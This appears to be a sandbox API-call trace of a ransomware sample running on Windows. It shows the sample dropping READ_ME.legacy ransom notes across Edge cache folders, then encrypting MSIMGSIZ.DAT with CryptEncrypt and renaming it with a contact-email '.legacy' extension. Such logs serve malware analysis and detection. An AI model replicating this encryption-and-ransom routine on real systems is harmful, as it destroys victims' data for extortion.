[0179.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578df0 [0179.608] SetLastError (dwErrCode=0x12) [0179.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f632c8 [0179.608] SetLastError (dwErrCode=0x12) [0179.608] GetLastError () returned 0x12 [0179.608] SetLastError (dwErrCode=0x12) [0179.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578df0 [0179.608] SetLastError (dwErrCode=0x12) [0179.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0179.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dc38 [0179.608] SetLastError (dwErrCode=0x12) [0179.608] GetLastError () returned 0x12 [0179.608] SetLastError (dwErrCode=0x12) [0179.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578828 [0179.608] SetLastError (dwErrCode=0x12) [0179.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0179.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56db30 [0179.609] SetLastError (dwErrCode=0x12) [0179.609] GetLastError () returned 0x12 [0179.609] SetLastError (dwErrCode=0x12) [0179.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578260 [0179.609] SetLastError (dwErrCode=0x12) [0179.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63570 [0179.609] SetLastError (dwErrCode=0x12) [0179.609] GetLastError () returned 0x12 [0179.609] SetLastError (dwErrCode=0x12) [0179.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578260 [0179.609] SetLastError (dwErrCode=0x12) [0179.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0179.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dad8 [0179.609] SetLastError (dwErrCode=0x12) [0179.609] GetLastError () returned 0x12 [0179.609] SetLastError (dwErrCode=0x12) [0179.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x5785d8 [0179.609] SetLastError (dwErrCode=0x12) [0179.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0179.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dbe0 [0179.609] SetLastError (dwErrCode=0x12) [0179.610] GetLastError () returned 0x12 [0179.610] SetLastError (dwErrCode=0x12) [0179.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578388 [0179.610] SetLastError (dwErrCode=0x12) [0179.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f633e0 [0179.610] SetLastError (dwErrCode=0x12) [0179.610] GetLastError () returned 0x12 [0179.610] SetLastError (dwErrCode=0x12) [0179.610] GetLastError () returned 0x12 [0179.610] SetLastError (dwErrCode=0x12) [0179.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0179.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56db88 [0179.610] SetLastError (dwErrCode=0x12) [0179.610] GetLastError () returned 0x12 [0179.610] SetLastError (dwErrCode=0x12) [0179.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578260 [0179.610] SetLastError (dwErrCode=0x12) [0179.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dea0 [0179.610] SetLastError (dwErrCode=0x12) [0179.610] GetLastError () returned 0x12 [0179.610] SetLastError (dwErrCode=0x12) [0179.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x5785d8 [0179.610] SetLastError (dwErrCode=0x12) [0179.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63638 [0179.611] SetLastError (dwErrCode=0x12) [0179.611] GetLastError () returned 0x12 [0179.611] SetLastError (dwErrCode=0x12) [0179.611] GetLastError () returned 0x12 [0179.611] SetLastError (dwErrCode=0x12) [0179.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56db30 [0179.611] SetLastError (dwErrCode=0x12) [0179.611] GetLastError () returned 0x12 [0179.611] SetLastError (dwErrCode=0x12) [0179.611] GetLastError () returned 0x12 [0179.611] SetLastError (dwErrCode=0x12) [0179.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0179.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56ddf0 [0179.611] SetLastError (dwErrCode=0x12) [0179.611] GetLastError () returned 0x12 [0179.611] SetLastError (dwErrCode=0x12) [0179.611] GetLastError () returned 0x12 [0179.611] SetLastError (dwErrCode=0x12) [0179.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6b2e8 [0179.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63520 [0179.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6ac28 [0179.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0179.612] SetLastError (dwErrCode=0x12) [0179.612] GetLastError () returned 0x12 [0179.612] SetLastError (dwErrCode=0x12) [0179.612] GetLastError () returned 0x12 [0179.612] SetLastError (dwErrCode=0x12) [0179.612] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585510 [0179.612] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a80 [0179.613] WriteFile (in: hFile=0x1a80, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.614] CloseHandle (hObject=0x1a80) returned 1 [0179.614] SetLastError (dwErrCode=0x0) [0179.614] GetLastError () returned 0x0 [0179.614] SetLastError (dwErrCode=0x0) [0179.615] GetLastError () returned 0x0 [0179.615] SetLastError (dwErrCode=0x0) [0179.615] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9210 [0179.615] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f632c8 [0179.615] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9c08 [0179.615] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0179.615] SetLastError (dwErrCode=0x0) [0179.615] GetLastError () returned 0x0 [0179.615] SetLastError (dwErrCode=0x0) [0179.615] GetLastError () returned 0x0 [0179.615] SetLastError (dwErrCode=0x0) [0179.615] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0179.615] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a80 [0179.616] WriteFile (in: hFile=0x1a80, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.617] CloseHandle (hObject=0x1a80) returned 1 [0179.617] SetLastError (dwErrCode=0x0) [0179.617] GetLastError () returned 0x0 [0179.617] SetLastError (dwErrCode=0x0) [0179.617] GetLastError () returned 0x0 [0179.617] SetLastError (dwErrCode=0x0) [0179.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9dd8 [0179.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f632f0 [0179.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca8b8 [0179.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0179.617] SetLastError (dwErrCode=0x0) [0179.617] GetLastError () returned 0x0 [0179.618] SetLastError (dwErrCode=0x0) [0179.618] GetLastError () returned 0x0 [0179.618] SetLastError (dwErrCode=0x0) [0179.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0179.618] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\History\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\history\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a80 [0179.620] WriteFile (in: hFile=0x1a80, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.621] CloseHandle (hObject=0x1a80) returned 1 [0179.621] FindNextFileW (in: hFindFile=0x2f72b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12e45fcd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e9247e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12e9247e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="IECompatCache", cAlternateFileName="IECOMP~1")) returned 1 [0179.621] SetLastError (dwErrCode=0x0) [0179.621] GetLastError () returned 0x0 [0179.621] SetLastError (dwErrCode=0x0) [0179.621] GetLastError () returned 0x0 [0179.621] SetLastError (dwErrCode=0x0) [0179.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63340 [0179.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f633b8 [0179.621] SetLastError (dwErrCode=0x0) [0179.621] GetLastError () returned 0x0 [0179.621] SetLastError (dwErrCode=0x0) [0179.621] GetLastError () returned 0x0 [0179.621] SetLastError (dwErrCode=0x0) [0179.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0179.621] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\iecompatcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a80 [0179.622] WriteFile (in: hFile=0x1a80, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.623] CloseHandle (hObject=0x1a80) returned 1 [0179.623] FindNextFileW (in: hFindFile=0x2f72b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12e9247e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e9247e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12e9247e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="IECompatUaCache", cAlternateFileName="IECOMP~2")) returned 1 [0179.623] SetLastError (dwErrCode=0x0) [0179.623] GetLastError () returned 0x0 [0179.623] SetLastError (dwErrCode=0x0) [0179.623] GetLastError () returned 0x0 [0179.623] SetLastError (dwErrCode=0x0) [0179.623] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63548 [0179.623] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63570 [0179.623] SetLastError (dwErrCode=0x0) [0179.623] GetLastError () returned 0x0 [0179.623] SetLastError (dwErrCode=0x0) [0179.623] GetLastError () returned 0x0 [0179.623] SetLastError (dwErrCode=0x0) [0179.623] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x61d0d8 [0179.623] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatUaCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\iecompatuacache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a80 [0179.624] WriteFile (in: hFile=0x1a80, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.625] CloseHandle (hObject=0x1a80) returned 1 [0179.625] FindNextFileW (in: hFindFile=0x2f72b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd7afa00, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xcd7afa00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xcd7afa00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="IEFlipAheadCache", cAlternateFileName="IEFLIP~1")) returned 1 [0179.625] SetLastError (dwErrCode=0x0) [0179.625] GetLastError () returned 0x0 [0179.625] SetLastError (dwErrCode=0x0) [0179.625] GetLastError () returned 0x0 [0179.625] SetLastError (dwErrCode=0x0) [0179.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0179.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.626] SetLastError (dwErrCode=0x0) [0179.626] GetLastError () returned 0x0 [0179.626] SetLastError (dwErrCode=0x0) [0179.626] GetLastError () returned 0x0 [0179.626] SetLastError (dwErrCode=0x0) [0179.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x61d0d8 [0179.626] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IEFlipAheadCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\ieflipaheadcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a80 [0179.628] WriteFile (in: hFile=0x1a80, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.629] CloseHandle (hObject=0x1a80) returned 1 [0179.630] FindNextFileW (in: hFindFile=0x2f72b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd2dfea05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd2dfea05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd2dfea05, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0xbfe0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 1 [0179.630] SetLastError (dwErrCode=0x0) [0179.630] GetLastError () returned 0x0 [0179.630] SetLastError (dwErrCode=0x0) [0179.630] GetLastError () returned 0x0 [0179.630] SetLastError (dwErrCode=0x0) [0179.630] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63548 [0179.630] FindNextFileW (in: hFindFile=0x2f72b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.630] SetLastError (dwErrCode=0x0) [0179.630] GetLastError () returned 0x0 [0179.630] SetLastError (dwErrCode=0x0) [0179.630] GetLastError () returned 0x0 [0179.630] SetLastError (dwErrCode=0x0) [0179.630] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63638 [0179.630] FindNextFileW (in: hFindFile=0x2f72b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12f7729b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12f7729b, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12f7729b, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="User", cAlternateFileName="")) returned 1 [0179.630] SetLastError (dwErrCode=0x0) [0179.630] GetLastError () returned 0x0 [0179.630] SetLastError (dwErrCode=0x0) [0179.631] GetLastError () returned 0x0 [0179.631] SetLastError (dwErrCode=0x0) [0179.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6a640 [0179.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f636b0 [0179.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69a70 [0179.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0179.631] SetLastError (dwErrCode=0x0) [0179.631] GetLastError () returned 0x0 [0179.631] SetLastError (dwErrCode=0x0) [0179.631] GetLastError () returned 0x0 [0179.631] SetLastError (dwErrCode=0x0) [0179.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585dc8 [0179.631] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a80 [0179.633] WriteFile (in: hFile=0x1a80, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.634] CloseHandle (hObject=0x1a80) returned 1 [0179.635] FindNextFileW (in: hFindFile=0x2f72b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12f7729b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12f7729b, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12f7729b, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="User", cAlternateFileName="")) returned 0 [0179.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c92f8 [0179.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0179.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0179.635] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0179.635] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0179.635] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\MSIMGSIZ.DAT", dwFileAttributes=0x80) returned 1 [0179.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9698 [0179.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a970 [0179.650] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\MSIMGSIZ.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\msimgsiz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a80 [0179.650] GetFileSizeEx (in: hFile=0x1a80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=49120) returned 1 [0179.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbfe0) returned 0x30d7038 [0179.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbfe0) returned 0x30e3020 [0179.650] ReadFile (in: hFile=0x1a80, lpBuffer=0x30d7038, nNumberOfBytesToRead=0xbfe0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0xbfe0, lpOverlapped=0x0) returned 1 [0179.663] SetFilePointer (in: hFile=0x1a80, lDistanceToMove=-49120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.663] WriteFile (in: hFile=0x1a80, lpBuffer=0x30e3020*, nNumberOfBytesToWrite=0xbfe0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xbfe0, lpOverlapped=0x0) returned 1 [0179.663] SetFilePointer (in: hFile=0x1a80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xbfe0 [0179.663] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0179.663] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0179.663] WriteFile (in: hFile=0x1a80, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0179.664] WriteFile (in: hFile=0x1a80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0179.664] CloseHandle (hObject=0x1a80) returned 1 [0179.664] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\MSIMGSIZ.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\msimgsiz.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\MSIMGSIZ.DAT.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\msimgsiz.dat.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0179.666] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\TempState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12829f55, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12829f55, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72a70 [0179.666] SetLastError (dwErrCode=0x0) [0179.666] GetLastError () returned 0x0 [0179.666] SetLastError (dwErrCode=0x0) [0179.666] GetLastError () returned 0x0 [0179.666] SetLastError (dwErrCode=0x0) [0179.666] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.666] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56de48 [0179.666] FindNextFileW (in: hFindFile=0x2f72a70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, 